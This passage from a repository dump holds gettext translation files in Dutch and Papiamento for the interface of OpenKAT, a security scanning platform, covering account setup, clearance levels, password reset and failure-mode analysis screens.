faalmodi\"\n\n#~ msgid \"Failure modes and affected departments table:\"\n#~ msgstr \"Faalmodi en geraakte afdelingentabel:\"\n\n#~ msgid \"Failure Mode\"\n#~ msgstr \"Faal modus\"\n\n#~ msgid \"Affected Departments\"\n#~ msgstr \"Betrokken afdelingen\"\n\n#~ msgid \"Nothing found.\"\n#~ msgstr \"Geen resultaten.\"\n\n#~ msgid \"Failure mode properties\"\n#~ msgstr \"Faal modus eigenschappen\"\n\n#~ msgid \"Properties\"\n#~ msgstr \"Eigenschappen\"\n\n#~ msgid \"Risk class\"\n#~ msgstr \"Risiconiveau\"\n\n#~ msgid \"Frequency level\"\n#~ msgstr \"Frequency niveau\"\n\n#~ msgid \"Detectability level\"\n#~ msgstr \"Detecteerbaarheidsniveau\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        Effect and severity level\\n\"\n#~ \"                        \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                        Effects and severity levels\\n\"\n#~ \"                      \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                        Niveau van gevolg en ernstigheid\\n\"\n#~ \"                        \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                        Niveau van gevolgen en ernstigheid\\n\"\n#~ \"                      \"\n\n#~ msgid \"Failure mode effect\"\n#~ msgstr \"Faalmodus effect\"\n\n#~ msgid \"Failure mode effect properties\"\n#~ msgstr \"Faalmodus effect eigenschappen\"\n\n#~ msgid \"FMEA effect and severity\"\n#~ msgstr \"FMEA-effect en ernst\"\n\n#~ msgid \"FMEA effect\"\n#~ msgstr \"FMEA effect\"\n\n#~ msgid \"Failure mode effects table:\"\n#~ msgstr \"Faalmodus effecten tabel:\"\n\n#~ msgid \"Severity level\"\n#~ msgstr \"Ernstnivo\"\n\n#~ msgid \"No failure mode effect yet defined.\"\n#~ msgstr \"Nog geen faalmodus gedefinieerd.\"\n\n#~ msgid \"Create a failure mode effect\"\n#~ msgstr \"Voeg een faalmodus effect toe\"\n\n#~ msgid \"Create a new failure mode\"\n#~ msgstr \"Creëer een nieuwe faalmodus\"\n\n#~ msgid \"Failure mode and effects\"\n#~ msgstr \"Foutmodus en gevolgen\"\n\n#~ msgid \"No failure mode effects created.\"\n#~ msgstr \"Geen faalmodus effecten gecreëerd.\"\n\n#~ msgid \"\"\n#~ \"First create failure mode effects which can be added later to a failure \"\n#~ \"mode.\"\n#~ msgstr \"\"\n#~ \"Maak eerst faalmodus-effecten die later aan een faalmodus kunnen worden \"\n#~ \"toegevoegd.\"\n\n#~ msgid \"Create failure mode effects\"\n#~ msgstr \"Faalmodus-effecten maken\"\n\n#~ msgid \"Failure mode table:\"\n#~ msgstr \"Faalmodustabel:\"\n\n#~ msgid \"Risk Class\"\n#~ msgstr \"Risicoklasse\"\n\n#~ msgid \"Sluit details\"\n#~ msgstr \"Details sluiten\"\n\n#~ msgid \"Description:\"\n#~ msgstr \"Omschrijving:\"\n\n#~ msgid \"Frequency level:\"\n#~ msgstr \"Frequentieniveau:\"\n\n#~ msgid \"Detectability level:\"\n#~ msgstr \"Detecteerbaarheidsniveau:\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tEffect and severity level\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tEffects and severity levels\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tNiveau van gevolg en ernstigheidl\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tNiveau van gevolgen en ernstigheid\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n\n#~ msgid \"Failure mode report\"\n#~ msgstr \"Foutmodus rapport\"\n\n#~ msgid \"Failure mode: \"\n#~ msgstr \"Foutmodus: \"\n\n#~ msgid \"Severity: \"\n#~ msgstr \"Ernst: \"\n\n#~ msgid \"Detectability: \"\n#~ msgstr \"Detecteerbaarheid: \"\n\n#~ msgid \"Frequency: \"\n#~ msgstr \"Frequentie: \"\n\n#~ msgid \"Effect: \"\n#~ msgstr \"Effect: \"\n\n#~ msgid \"Description: \"\n#~ msgstr \"Omschrijving: \"\n\n#~ msgid \"Affected Departments: \"\n#~ msgstr \"Getroffen afdelingen: \"\n\n#~ msgid \"Affected OOI's: \"\n#~ msgstr \"Getroffen objecten: \"\n\n#~ msgid \"Report cannot be viewed, failure mode not found.\"\n#~ msgstr \"Rapport kan niet worden bekeken, storingsmodus niet gevonden.\"\n\n#~ msgid \"FMEA introduction\"\n#~ msgstr \"FMEA introductie\"\n\n#~ msgid \"\"\n#~ \"FMEA (failure mode and effective analysis) is a step-by-step approach for \"\n#~ \"collecting knowledge about possible points of failure in a design, \"\n#~ \"manufacturing process, product or service.\"\n#~ msgstr \"\"\n#~ \"FMEA (foutmodus en effectieve analyse) is een stapsgewijze aanpak voor \"\n#~ \"kennis verzamelen over mogelijke faalpunten in een ontwerp, \"\n#~ \"productieproces, product of dienst.\"\n\n#~ msgid \"\"\n#~ \"Failure mode (FM) refers to the way in which something might break down \"\n#~ \"and includes potential errors that may occur, especially errors that may \"\n#~ \"affect a system. Effective analysis (EA) involves deciphering the \"\n#~ \"consequences of those break downs by making sure that all failures can be \"\n#~ \"detected, determining how frequently a failure might occur and \"\n#~ \"identifying which potential failures should be prioritized.\"\n#~ msgstr \"\"\n#~ \"Failure mode (FM) verwijst naar de manier waarop iets kapot kan gaan en \"\n#~ \"omvat mogelijke fouten die kunnen optreden, met name fouten die van \"\n#~ \"invloed kunnen zijn op een systeem. Effectieve analyse (EA) omvat het \"\n#~ \"ontcijferen van de gevolgen van die storingen door ervoor te zorgen dat \"\n#~ \"alle storingen kunnen worden opgespoord, bepalen hoe vaak een storing kan \"\n#~ \"optreden en identificeren welke potentiële mislukkingen moeten prioriteit \"\n#~ \"krijgen.\"\n\n#~ msgid \"Create affected objects of a failure mode\"\n#~ msgstr \"Maak getroffen objecten van een foutmodus\"\n\n#~ msgid \"View all failure modes\"\n#~ msgstr \"Bekijk alle foutmodi\"\n\n#~ msgid \"View all failure mode effects\"\n#~ msgstr \"Bekijk alle foutmodus effecten\"\n\n#~ msgid \"View all affected objects for a failure modes\"\n#~ msgstr \"Bekijk alle getroffen objecten voor een foutmodus\"\n\n#~ msgid \"Heatmap\"\n#~ msgstr \"Heatmap\"\n\n#~ msgid \"--- Select an option ----\"\n#~ msgstr \"-- Selecteer een optie --\"\n\n#~ msgid \"Failure mode affected objects successfully created.\"\n#~ msgstr \"Beinvloedde objecten die zijn aangemaakt.\"\n\n#~ msgid \"Create\"\n#~ msgstr \"Creëren\"\n\n#~ msgid \"Treeobjects successfully added.\"\n#~ msgstr \"Boomobjecten succesvol toegevoegd.\"\n\n#~ msgid \"Please select a department or ooi.\"\n#~ msgstr \"Selecteer een afdeling of ooi/object.\"\n\n#~ msgid \"Failure mode successfully created.\"\n#~ msgstr \"Foutmode succesvol aangemaakt.\"\n\n#~ msgid \"Failure mode effect successfully created.\"\n#~ msgstr \"Foutmode-effect succesvol gemaakt.\"\n\n#~ msgid \"FMEA\"\n#~ msgstr \"FMEA\"\n\n#~ msgid \"Failure mode effects\"\n#~ msgstr \"Foutmode-effecten\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            \\\"Withdraw acceptance of level L%(acl)s \"\n#~ \"clearance and responsibility\\\"\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            \\\"Acceptatie van vrijwaringsniveau L%(acl)s \"\n#~ \"en verantwoordelijkheid intrekken\\\"\\n\"\n#~ \"                    \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        \\\"Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\\"\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        \\\"Accepteer vrijwaringsniveau L%(tcl)s en \"\n#~ \"verantwoordelijkheid\\\"\\n\"\n#~ \"                    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                  Add setting\\n\"\n#~ \"                \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                  Add settings\\n\"\n#~ \"                \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                  Instelling toevoegen\\n\"\n#~ \"                \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                  Insellingen toevoegen\\n\"\n#~ \"                \"\n\n#~ msgid \"IP address lookup\"\n#~ msgstr \"Ip-adres opzoeken\"\n\n#~ msgid \"\"\n#~ \"You have less than one webserver that is reachable over IPv6, which is \"\n#~ \"<strong>not</strong> in compliance to internet.nl standards.\"\n#~ msgstr \"\"\n#~ \"U heeft minder dan één webserver die bereikbaar is over IPv6. Hiermee \"\n#~ \"worden de standaarden die internet.nl heeft aanbevolen <strong>niet</\"\n#~ \"strong> nageleefd.\"\n\n#~ msgid \"Other records found\"\n#~ msgstr \"Andere gevonden records\"\n\n#~ msgid \"Found by\"\n#~ msgstr \"Gevonden door\"\n\n#~ msgid \"Setup report\"\n#~ msgstr \"Rapport opstellen\"\n\n#~ msgid \"Organization code(s) for raw does not exist in our database\"\n#~ msgstr \"Organisatiecode in CSV bestaat niet in onze database\"\n\n#~ msgid \"Scan OOI\"\n#~ msgstr \"Scan OOI\"\n\n#~ msgid \"Selected OOIs:\"\n#~ msgstr \"Geselecteerde objecten:\"\n\n#~ msgid \"Session has terminated, please select OOIs again.\"\n#~ msgstr \"Sessie is verlopen, selecteer nogmaals OOIs.\"\n\n#~ msgid \"RPKI Valid\"\n#~ msgstr \"RPKI valide\"\n\n#~ msgid \"RPKI record does is not valid for\"\n#~ msgstr \"RPKI record is niet valide voor\"\n\n#~ msgid \"RPKI record does not exist for\"\n#~ msgstr \"RPKI record bestaat niet voor\"\n\n#~ msgid \"No connections found\"\n#~ msgstr \"Geen verbindingen gevonden\"\n\n#~ msgid \"Web\"\n#~ msgstr \"Web\"\n\n#~ msgid \"Mail\"\n#~ msgstr \"Mail\"\n\n#~ msgid \"Dicom\"\n#~ msgstr \"Dicom\"\n\n#~ msgid \"DNS\"\n#~ msgstr \"DNS\"\n\n#~ msgid \"Other\"\n#~ msgstr \"Andere\"\n\n#~ msgid \"Select OOI\"\n#~ msgid_plural \"Select OOIs\"\n#~ msgstr[0] \"Selecteer OOI\"\n#~ msgstr[1] \"Selecteer OOI's\"\n\n#~ msgid \"No OOIs found.\"\n#~ msgstr \"Geen OOI's gevonden.\"\n\n#~ msgid \"Selected OOIs\"\n#~ msgstr \"Geselecteerde OOIs\"\n\n#~ msgid \"View Report\"\n#~ msgstr \"Rapport bekijken\"\n\n#~ msgid \"Could not connect to Bytes. Service is possibly down\"\n#~ msgstr \"Kon niet met Bytes verbinden. Service is mogelijk niet beschikbaar\"\n\n#~ msgid \"Could not connect to Octopoes. Service is possibly down\"\n#~ msgstr \"\"\n#~ \"Kon niet met Octopoes verbinden. Service is mogelijk niet beschikbaar\"\n\n#~ msgid \"Could not connect to Scheduler. Service is possibly down\"\n#~ msgstr \"\"\n#~ \"Kon niet met Scheduler verbinden. Service is mogelijk niet beschikbaar\"\n\n#~ msgid \"Rocky will not function properly. Not all services are healthy.\"\n#~ msgstr \"Rocky kan niet goed functioneren. Niet alle services zijn gezond.\"\n\n#~ msgid \"Failure\"\n#~ msgstr \"Faal\"\n\n#~ msgid \"Task details not found.\"\n#~ msgstr \"Taakdetails niet gevonden.\"\n\n#~ msgid \"This name we will use to communicate with you.\"\n#~ msgstr \"Deze naam wordt gebruikt om met u te communiceren.\"\n\n#~ msgid \"What do we call you?\"\n#~ msgstr \"Hoe noemen wij u?\"\n\n#~ msgid \"Enter your email address.\"\n#~ msgstr \"Voer uw e-mailadres in.\"\n\n#~ msgid \"Choose your super secret password\"\n#~ msgstr \"Kies uw supergeheime wachtwoord\"\n\n#~ msgid \"Enter your new password\"\n#~ msgstr \"Voer uw nieuwe wachtwoord in\"\n\n#~ msgid \"Repeat your new password\"\n#~ msgstr \"Het nieuwe wachtwoord opnieuw herhalen\"\n\n#~ msgid \"Confirm your new password\"\n#~ msgstr \"Bevestig het nieuwe wachtwoord\"\n\n#~ msgid \"List of tasks for \"\n#~ msgstr \"Lijst van taken voor \"\n\n#~ msgid \"No input OOI\"\n#~ msgstr \"Geen input object\"\n\n#~ msgid \"\"\n#~ \"Can not parse observed_at parameter, falling back to showing current \"\n#~ \"object\"\n#~ msgstr \"\"\n#~ \"Kan de parameter observed_at niet ontleden, terugvallen op het weergeven \"\n#~ \"van het huidige object\"\n\n#~ msgid \"Scanning successfully scheduled.\"\n#~ msgstr \"Scan met success ingepland.\"\n"
  },
  {
    "path": "rocky/rocky/locale/pap/LC_MESSAGES/django.po",
    "content": "#: reports/forms.py\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: PACKAGE VERSION\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2025-08-20 07:38+0000\\n\"\n\"PO-Revision-Date: 2025-08-22 09:39+0000\\n\"\n\"Last-Translator: Anonymous <noreply@weblate.org>\\n\"\n\"Language-Team: Papiamento <https://hosted.weblate.org/projects/openkat/nl-\"\n\"kat-coordination/pap/>\\n\"\n\"Language: pap\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=n != 1;\\n\"\n\"X-Generator: Weblate 5.13\\n\"\n\n#: account/admin.py\nmsgid \"Permissions\"\nmsgstr \"Permisonan\"\n\n#: account/admin.py\nmsgid \"Important dates\"\nmsgstr \"Fechanan importante\"\n\n#: account/forms/account_setup.py crisis_room/forms.py\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: tools/forms/boefje.py rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Name\"\nmsgstr \"Nòmber\"\n\n#: account/forms/account_setup.py\nmsgid \"The name that will be used in order to communicate.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please provide username\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Email\"\nmsgstr \"Email\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter an email address.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Password\"\nmsgstr \"Password\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose a super secret password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another email.\"\nmsgstr \"Skoké un otro email.\"\n\n#: account/forms/account_setup.py tools/forms/settings.py\nmsgid \"--- Please select one of the available options ----\"\nmsgstr \"--- Por fabor selektá ún di e opcionnan disponibel ----\"\n\n#: account/forms/account_setup.py\nmsgid \"Account type\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please select an account type to proceed.\"\nmsgstr \"Por fabor, selekshoná un tipo di kuenta pa sigui.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"Trusted clearance level\"\nmsgstr \"Nivel di autorisashon konfiable\"\n\n#: account/forms/account_setup.py\nmsgid \"Select a clearance level you trust this member with.\"\nmsgstr \"\"\n\"Selekshoná un nivel di autorisashon ku bo ta konfia e miembro aki ku ne.\"\n\n#: account/forms/account_setup.py onboarding/forms.py tools/forms/ooi.py\nmsgid \"Please select a clearance level to proceed.\"\nmsgstr \"Por fabor selektá un nivél di autorisashon pa sigi.\"\n\n#: account/forms/account_setup.py tools/models.py\nmsgid \"The name of the organization.\"\nmsgstr \"E nòmber di e organisashon.\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-name\"\nmsgstr \"splikashon-nomber-organisashon\"\n\n#: account/forms/account_setup.py\n#, python-brace-format\nmsgid \"A unique code of maximum {code_length} characters in length.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-code\"\nmsgstr \"splikashon-codigo-organisashon\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization name is required to proceed.\"\nmsgstr \"Nòmber di organisashon ta requerí pa sigi.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another organization.\"\nmsgstr \"Skohé un otro organisashon.\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization code is required to proceed.\"\nmsgstr \"Codigo di organisashon ta requerí pa sigi.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another code for your organization.\"\nmsgstr \"Skohé un otro codigo pa bo organisashon.\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that OpenKAT may scan the assets of my organization and that I \"\n\"have permission to scan these assets. I am aware of the implications a scan \"\n\"(with a higher scan level) brings on my systems.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that I am authorized to give this indemnification on behalf of my \"\n\"organization. I have the experience and knowledge to know what the \"\n\"consequences might be and can be held responsible for them.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Trusted to change Clearance Levels.\"\nmsgstr \"Konfiansa pa kambia nivél di autorisashonnan.\"\n\n#: account/forms/account_setup.py\nmsgid \"Acknowledged to change Clearance Levels.\"\nmsgstr \"Atmití pa kambia nivél di autorisashonnan.\"\n\n#: account/forms/account_setup.py rocky/forms.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Blocked\"\nmsgstr \"Blòkiá\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"Set the members status to blocked, so they don't have access to the \"\n\"organization anymore.\"\nmsgstr \"\"\n\"Ajustá e status di e miembro komo blokeá, pa nan no tin akseso na e \"\n\"organisashon mas.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Accepted clearance level\"\nmsgstr \"Nivel di autorisashon aseptá\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter tags separated by comma.\"\nmsgstr \"Drenta etikètanan separá pa komo.\"\n\n#: account/forms/account_setup.py\nmsgid \"The two password fields didn’t match.\"\nmsgstr \"E dos vèldnan di password no ta igual.\"\n\n#: account/forms/account_setup.py\nmsgid \"New password\"\nmsgstr \"Password nobo\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter a new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"New password confirmation\"\nmsgstr \"Konfirmashon password nobo\"\n\n#: account/forms/account_setup.py\nmsgid \"Repeat the new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Confirm the new password\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"Please enter a correct email address and password.\"\nmsgstr \"Por fabor yena un email adrès i password korekto.\"\n\n#: account/forms/login.py\nmsgid \"This account is inactive.\"\nmsgstr \"E account aki no ta activá.\"\n\n#: account/forms/login.py\nmsgid \"Insert the email you registered with or got at OpenKAT installation.\"\nmsgstr \"Yena e email ku b'a registrá ku ne òf ora di instalá OpenKAT.\"\n\n#: account/forms/organization.py\nmsgid \"Organization is required.\"\nmsgstr \"Organisashon ta nesesario.\"\n\n#: account/forms/organization.py tools/view_helpers.py\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/views/organization_add.py\nmsgid \"Organizations\"\nmsgstr \"Organisashonnan\"\n\n#: account/forms/organization.py\nmsgid \"The organization from which to clone settings.\"\nmsgstr \"E organisashon for di unda kopia e konfigurashon.\"\n\n#: account/forms/password_reset.py account/templates/account_detail.html\nmsgid \"Email address\"\nmsgstr \"Email adrès\"\n\n#: account/forms/password_reset.py\nmsgid \"A reset link will be sent to this email\"\nmsgstr \"Un resèt link lo wòrdu manda na e email adrès aki\"\n\n#: account/forms/password_reset.py\nmsgid \"The email address connected to your OpenKAT-account\"\nmsgstr \"E email adrès konektá ku bo OpenKAT account\"\n\n#: account/forms/token.py\nmsgid \"\"\n\"Insert the token generated by the authenticator app to setup the two factor \"\n\"authentication.\"\nmsgstr \"\"\n\"Pone e token ku a wordu genera dor di bo authenticator app pa aktivá two \"\n\"factor authentication.\"\n\n#: account/forms/token.py\nmsgid \"Insert the token generated by your token authenticator app.\"\nmsgstr \"Por favor yena e token ku a wordu generá door di e authenticator app.\"\n\n#: account/forms/token.py\nmsgid \"Backup token\"\nmsgstr \"Backup token\"\n\n#: account/mixins.py\nmsgid \"Clearance level has been set.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You were trusted a clearance \"\n\"level of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"No por a aumenta e nivel di autorisashon di %s pa L%s. B'a haya un nivel di \"\n\"autorisashon di L%s. Tuma kontakto ku bo administradó pa haña un \"\n\"autorisashon mas haltu.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You acknowledged a clearance \"\n\"level of L%s. Please accept the clearance level first on your profile page \"\n\"to proceed.\"\nmsgstr \"\"\n\"No por a subi na e nivel di autorisashon di %s pa L%s. Bo a rekonosé un \"\n\"nivel di autorisashon di L%s. Por fabor, akseptá e nivel di autorisashon \"\n\"promé riba bo página di perfil pa por sigui.\"\n\n#: account/models.py\nmsgid \"The email must be set\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_staff=True.\"\nmsgstr \"Superuser mester tin is_staff=True.\"\n\n#: account/models.py\nmsgid \"Superuser must have is_superuser=True.\"\nmsgstr \"Superuser mester tin is_superuser=True.\"\n\n#: account/models.py\nmsgid \"full name\"\nmsgstr \"nòmber full\"\n\n#: account/models.py\nmsgid \"email\"\nmsgstr \"email\"\n\n#: account/models.py\nmsgid \"staff status\"\nmsgstr \"status di personál\"\n\n#: account/models.py\nmsgid \"Designates whether the user can log into this admin site.\"\nmsgstr \"Designa si e user por log in den e admin site aki.\"\n\n#: account/models.py tools/models.py\nmsgid \"active\"\nmsgstr \"aktivo\"\n\n#: account/models.py\nmsgid \"\"\n\"Designates whether this user should be treated as active. Unselect this \"\n\"instead of deleting accounts.\"\nmsgstr \"\"\n\"Designa si e user aki por wordu trata komo aktivo. Deselekta esaki embes di \"\n\"delete accountnan.\"\n\n#: account/models.py\nmsgid \"date joined\"\nmsgstr \"fecha di registro\"\n\n#: account/models.py\nmsgid \"The clearance level of the user for all organizations.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"name\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html account/views/account.py\nmsgid \"Account details\"\nmsgstr \"Detayenan di kuenta\"\n\n#: account/templates/account_detail.html account/templates/password_reset.html\n#: account/views/password_reset.py\nmsgid \"Reset password\"\nmsgstr \"Resèt password\"\n\n#: account/templates/account_detail.html\nmsgid \"Full name\"\nmsgstr \"Nòmber Kompletu\"\n\n#: account/templates/account_detail.html\nmsgid \"Member type\"\nmsgstr \"Tipo di miembro\"\n\n#: account/templates/account_detail.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Organization\"\nmsgstr \"Organisashon\"\n\n#: account/templates/account_detail.html\nmsgid \"Permission to set OOI clearance levels\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"OOI clearance\"\nmsgstr \"OOI autorisá\"\n\n#: account/templates/account_detail.html\nmsgid \"You don't have any clearance to scan objects.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"Get in contact with the admin to give you the necessary clearance level.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You have currently accepted clearance up to level\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI Clearance\"\nmsgstr \"Splikashon OOI Autorisashon\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"You can withdraw this at anytime you like, but know that you won't be able \"\n\"to change clearance levels anymore when you do.\"\nmsgstr \"\"\n\"Bo por retirá esaki n'e momento ku bo ke, pero sa ku bo no por kambia nivél \"\n\"di autorisashon mas ora bo hasi esaki.\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"Withdraw L%(acl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI clearance\"\nmsgstr \"Splikashon OOI autorisashon\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"\"\n\"You are granted clearance for level L%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\nmsgstr \"\"\n\"Bo a haña nivel di autorisashon di L%(tcl)s for di bo administrador. Promé \"\n\"ku bo por kambia nivelnan di autorisashon di e OOI te na e nivel aki, bo \"\n\"mester prome aseptá e permiso aki. No lubidá: <strong>ku gran poder ta bini \"\n\"gran responsabilidat.</strong>\"\n\n#: account/templates/account_detail.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"Accept level L%(tcl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\nmsgid \"Use the form below to reset your password.\"\nmsgstr \"Uza e formulario abou pa konfirmá bo password resèt\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Send\"\nmsgstr \"Mánda\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Back\"\nmsgstr \"Bai bèk\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm reset password\"\nmsgstr \"Konfirmá password resèt\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Use the form below to confirm resetting your password\"\nmsgstr \"Uza e formulario abou pa konfirmá bo password resèt\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm password\"\nmsgstr \"Konfirmá password\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"The link is invalid\"\nmsgstr \"E link ta inbalido\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"\"\n\"The password reset link was invalid, possibly because it has already been \"\n\"used.  Please request a new password reset.\"\nmsgstr \"Por fabor pidi un password nobo.\"\n\n#: account/templates/password_reset_email.html\n#, python-format\nmsgid \"\"\n\"You're receiving this email because you requested a password reset for your \"\n\"user account at %(site_name)s.\"\nmsgstr \"\"\n\"Bo ta risibiendo e mensahe aki paso bo a pidi un password resèt pa bo user \"\n\"account riba %(site_name)s.\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Please go to the following page and choose a new password:\"\nmsgstr \"Por fabor bai na e siguinte página i skohé un password nobo:\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Sincerely,\"\nmsgstr \"Sinseramente\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"The OpenKAT team\"\nmsgstr \"Tìm OpenKAT\"\n\n#: account/templates/password_reset_subject.txt\n#, python-format\nmsgid \"Password reset on %(site_name)s\"\nmsgstr \"Password resèt riba %(site_name)s\"\n\n#: account/templates/recover_email.html account/views/recover_email.py\nmsgid \"Recover email address\"\nmsgstr \"Rekuperá bo email adrès\"\n\n#: account/templates/recover_email.html\nmsgid \"Information on how to recover your connected email address\"\nmsgstr \"Informashon kon pa rekuperá bo email adrès\"\n\n#: account/templates/recover_email.html\nmsgid \"Forgotten email address?\"\nmsgstr \"Ba lubida bo email adrès?\"\n\n#: account/templates/recover_email.html\nmsgid \"\"\n\"If you don’t remember the email address connected to your account, contact:\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Please contact the system administrator.\"\nmsgstr \"Por fabor tuma kontakto ku e administradó di sistema.\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to login\"\nmsgstr \"Bèk na login\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to Home\"\nmsgstr \"Bèk na Home\"\n\n#: account/templates/registration_email.html\n#, python-format\nmsgid \"\"\n\"Welcome to OpenKAT. You're receiving this email because you have been added \"\n\"to organization \\\"%(organization)s\\\" at %(site_name)s.\"\nmsgstr \"\"\n\"Bon bini na 